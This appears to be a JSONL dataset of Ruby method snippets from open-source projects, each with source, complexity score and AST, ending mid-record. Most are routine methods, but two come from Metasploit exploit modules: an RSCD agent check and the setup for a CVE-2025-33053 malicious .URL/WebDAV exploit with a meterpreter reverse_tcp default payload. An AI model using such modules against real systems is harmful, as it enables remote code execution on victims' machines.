{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/error_tracking/base_service.rb","start_line":79,"raw_source":"def handle_error_repository_exceptions\n      yield\n    rescue Gitlab::ErrorTracking::ErrorRepository::DatabaseError => e\n      { error: e.message }\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_error_repository_exceptions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"ErrorRepository\"]},\"DatabaseError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},null]}]}","id":"c77466bf-2b40-4716-bb0e-9d35540f79a2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/request.rb","start_line":265,"raw_source":"def original_fullpath\n      @original_fullpath ||= (get_header(\"ORIGINAL_FULLPATH\") || fullpath)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"original_fullpath\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@original_fullpath\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"str\",\"children\":[\"ORIGINAL_FULLPATH\"]}]},{\"type\":\"send\",\"children\":[null,\"fullpath\"]}]}]}]}]}","id":"c30f1ebf-60ab-41f9-8598-2515eaa01eb7"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_labeled_tsv.rb","start_line":52,"raw_source":"def test_parse_with_customized_time_format\n    parser = Fluent::Test::Driver::Parser.new(Fluent::TextParser::LabeledTSVParser)\n    parser.configure(\n                     'time_key'    => 'mytime',\n                     'time_format' => '%d/%b/%Y:%H:%M:%S %z',\n                     )\n    parser.instance.parse(\"mytime:28/Feb/2013:12:00:00 +0900\\thost:192.168.0.1\\treq_id:111\") { |time, record|\n      assert_equal(event_time('28/Feb/2013:12:00:00 +0900', format: '%d/%b/%Y:%H:%M:%S %z'), time)\n      assert_equal({\n                     'host'   => '192.168.0.1',\n                     'req_id' => '111',\n                   }, record)\n    }\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_with_customized_time_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"Driver\"]},\"Parser\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"TextParser\"]},\"LabeledTSVParser\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time_key\"]},{\"type\":\"str\",\"children\":[\"mytime\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time_format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"instance\"]},\"parse\",{\"type\":\"str\",\"children\":[\"mytime:28/Feb/2013:12:00:00 +0900\\thost:192.168.0.1\\treq_id:111\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"192.168.0.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"req_id\"]},{\"type\":\"str\",\"children\":[\"111\"]}]}]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}]}","id":"40938926-5c18-4252-b4c1-c326f69b47d5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/user.rb","start_line":463,"raw_source":"def self.where_mail_with_suffix(mail)\n    skip_suffix_check, regexp = mail_regexp(mail)\n\n    # If the recipient part already contains a suffix, don't expand\n    if skip_suffix_check\n      where(\"LOWER(mail) = ?\", mail)\n    else\n      where(\"LOWER(mail) ~* ?\", regexp)\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"where_mail_with_suffix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mail\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"skip_suffix_check\"]},{\"type\":\"lvasgn\",\"children\":[\"regexp\"]}]},{\"type\":\"send\",\"children\":[null,\"mail_regexp\",{\"type\":\"lvar\",\"children\":[\"mail\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_suffix_check\"]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"str\",\"children\":[\"LOWER(mail) = ?\"]},{\"type\":\"lvar\",\"children\":[\"mail\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"str\",\"children\":[\"LOWER(mail) ~* ?\"]},{\"type\":\"lvar\",\"children\":[\"regexp\"]}]}]}]}]}","id":"60de8fb2-14ce-4406-8980-94c9ff6385dc"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_parentheses.rb","start_line":109,"raw_source":"def empty_parentheses?(node)\n          # Don't flag `()`\n          node.children.empty?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_parentheses?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"empty?\"]}]}","id":"2b45f99b-7e4e-434d-9bea-19f2b20adedd"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_silencer.rb","start_line":66,"raw_source":"def auto_silence\n    if silence\n      notify_moderators\n      true\n    else\n      false\n    end\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"auto_silence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notify_moderators\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"130f11e8-1828-4aad-8432-c15488bdc85b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/problem_check/group_email_credentials.rb","start_line":42,"raw_source":"def imap_errors\n    return [] if !SiteSetting.enable_imap\n\n    Group.with_imap_configured.find_each.filter_map do |group|\n      try_validate(group) do\n        EmailSettingsValidator.validate_imap(\n          host: group.imap_server,\n          port: group.imap_port,\n          username: group.email_username,\n          password: group.email_password,\n        )\n      end\n    end\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"imap_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_imap\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"with_imap_configured\"]},\"find_each\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_validate\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailSettingsValidator\"]},\"validate_imap\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"imap_server\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"imap_port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"email_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"email_password\"]}]}]}]}]}]}]}]}","id":"97f96d72-3afb-413b-87e7-e383e6572938"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/spec/support/pages/ifc_models/index.rb","start_line":69,"raw_source":"def edit_model_allowed(model_name, allowed)\n        row = find_model_table_row model_name\n        within row do\n          expect(page).to (allowed ? have_css(\".icon-edit\") : have_no_selector(\".icon-edit\"))\n        end\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_model_allowed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_name\"]},{\"type\":\"arg\",\"children\":[\"allowed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"send\",\"children\":[null,\"find_model_table_row\",{\"type\":\"lvar\",\"children\":[\"model_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed\"]},{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".icon-edit\"]}]},{\"type\":\"send\",\"children\":[null,\"have_no_selector\",{\"type\":\"str\",\"children\":[\".icon-edit\"]}]}]}]}]}]}]}]}","id":"6d83c413-3fd1-4c31-af34-4d309e2ca17e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb","start_line":84,"raw_source":"def check\n    # Send agentinfo request and check result\n    vprint_status('Checking for BMC with agentinfo request.')\n    res = send_agentinfo_request\n\n    # Check for successful platform detection\n    if res[0] == 1\n      vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])\n      return CheckCode::Detected\n    end\n\n    # Get first four bytes of the packet which should hold the content length\n    res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0\n\n    # Return unknown if the packet format appears correct (length field check)\n    if res[1] && res[1].length - 4 == res_len\n      vprint_warning('Target appears to be BMC, however an unexpected ' \\\n                     'agentinfo response was returned.')\n      vprint_warning('Response: ' + res[1])\n      return CheckCode::Unknown\n    end\n\n    # Invalid response, probably not a BMC RSCD target\n    vprint_error('The target does not appear to be a BMC RSCD agent.')\n    vprint_error('Response: ' + res[1]) if res[1]\n    CheckCode::Safe\n  end","complexity_score":49.65,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Checking for BMC with agentinfo request.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_agentinfo_request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"BMC RSCD agent detected, platform appears to be \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res_len\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[4]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"res_len\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target appears to be BMC, however an unexpected \"]},{\"type\":\"str\",\"children\":[\"agentinfo response was returned.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Response: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"The target does not appear to be a BMC RSCD agent.\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Response: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"1a30716e-826f-4e2b-8509-0cf66d4ffff0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/stable_branch.rb","start_line":208,"raw_source":"def template_source_path\n        helper.mr_description.scan(TEMPLATE_SOURCE_REGEX).flatten.first\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"template_source_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"mr_description\"]},\"scan\",{\"type\":\"const\",\"children\":[null,\"TEMPLATE_SOURCE_REGEX\"]}]},\"flatten\"]},\"first\"]}]}","id":"460ba6dd-0e4f-443f-81f2-9959d9c3c66c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/unc_url_cve_2025_33053.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV',\n        'Description' => %q{\n          This module exploits CVE-2025-33053 by generating a malicious .URL file pointing\n          to a trusted LOLBAS binary with parameters designed to trigger unintended behavior.\n          Optionally, a payload is generated and hosted on a specified WebDAV directory.\n          When the victim opens the shortcut, it will attempt to access the WebDAV path,\n          potentially resulting in remote code execution via a trusted binary.\n        },\n\n        'Author' => [\n          'Alexandra Gofman', # vuln research\n          'David Driker', # vuln research\n          'Dev Bui Hieu' # module dev\n        ],\n        'License' => MSF_LICENSE,\n        'DisclosureDate' => '2025-06-11',\n        'References' => [\n          ['CVE', '2025-33053'],\n          ['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept']\n        ],\n        'Platform' => 'win',\n        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],\n        'Passive' => true,\n        'Targets' => [['Windows (generic)', {}]],\n        'DefaultOptions' => {\n          'FOLDER_NAME' => 'webdav',\n          'FILE_NAME' => 'explorer.exe',\n          'DisablePayloadHandler' => false,\n          'Payload' => 'windows/x64/meterpreter/reverse_tcp'\n        },\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('OUTFILE', [false, 'Output URL file name', '']),\n      ], self.class\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"CVE-2025-33053 Exploit via Malicious .URL File and WebDAV\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits CVE-2025-33053 by generating a malicious .URL file pointing\\n\"]},{\"type\":\"str\",\"children\":[\"          to a trusted LOLBAS binary with parameters designed to trigger unintended behavior.\\n\"]},{\"type\":\"str\",\"children\":[\"          Optionally, a payload is generated and hosted on a specified WebDAV directory.\\n\"]},{\"type\":\"str\",\"children\":[\"          When the victim opens the shortcut, it will attempt to access the WebDAV path,\\n\"]},{\"type\":\"str\",\"children\":[\"          potentially resulting in remote code execution via a trusted binary.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Alexandra Gofman\"]},{\"type\":\"str\",\"children\":[\"David Driker\"]},{\"type\":\"str\",\"children\":[\"Dev Bui Hieu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2025-06-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-33053\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Passive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows (generic)\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FOLDER_NAME\"]},{\"type\":\"str\",\"children\":[\"webdav\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FILE_NAME\"]},{\"type\":\"str\",\"children\":[\"explorer.exe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"OUTFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Output URL file name\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"5be20305-8771-4904-8c78-1dcc6de43147"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/db/migrate/20231021104257_create_active_storage_variant_records.active_storage.rb","start_line":22,"raw_source":"def blobs_primary_key_type\n      pkey_name = connection.primary_key(:active_storage_blobs)\n      pkey_column = connection.columns(:active_storage_blobs).find { |c| c.name == pkey_name }\n      pkey_column.bigint? ? :bigint : pkey_column.type\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"blobs_primary_key_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkey_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"primary_key\",{\"type\":\"sym\",\"children\":[\"active_storage_blobs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkey_column\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"columns\",{\"type\":\"sym\",\"children\":[\"active_storage_blobs\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"pkey_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkey_column\"]},\"bigint?\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkey_column\"]},\"type\"]}]}]}]}","id":"812d41de-58c0-4454-b385-8210899927a7"}
{"repo_name":"puma","file_path":"./repos/puma/benchmarks/local/response_time_wrk.rb","start_line":115,"raw_source":"def run_summaries(summaries)\n      digits = [4 - Math.log10(@max_100_time).to_i, 3].min\n\n      fmt_vals = +'%-6s %6d'\n      fmt_vals << (digits < 0 ? \"  %6d\" : \"  %6.#{digits}f\")*5\n      fmt_vals << '  %8d'\n\n      label = @single_type ? 'Size' : 'Type'\n\n      if @errors\n        puts \"\\n#{label}   req/sec    50%     75%     90%     99%    100%  Resp Size  Errors\"\n        desc_width = 83\n      else\n        puts \"\\n#{label}   req/sec    50%     75%     90%     99%    100%  Resp Size\"\n        desc_width = 65\n      end\n\n      puts format(\"#{'─' * desc_width} %s\", @body_types[0][1]) if @single_type\n\n      @body_sizes.each do |size|\n        puts format(\"#{'─' * desc_width}%5dkB\", size) unless @single_type\n        @body_types.each do |_, t_desc|\n          hsh = summaries[size][t_desc]\n          times = hsh[:times_summary].values\n          desc = @single_type ? size : t_desc\n#          puts format(fmt_vals, desc, hsh[:rps], *times, hsh[:read]/hsh[:requests])\n          puts format(fmt_vals, desc, hsh[:rps], *times, hsh[:resp_size])\n        end\n      end\n\n    end","complexity_score":60.43,"ast_json":"{\"type\":\"def\",\"children\":[\"run_summaries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"summaries\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"digits\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Math\"]},\"log10\",{\"type\":\"ivar\",\"children\":[\"@max_100_time\"]}]},\"to_i\"]}]},{\"type\":\"int\",\"children\":[3]}]},\"min\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fmt_vals\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%-6s %6d\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt_vals\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digits\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"  %6d\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  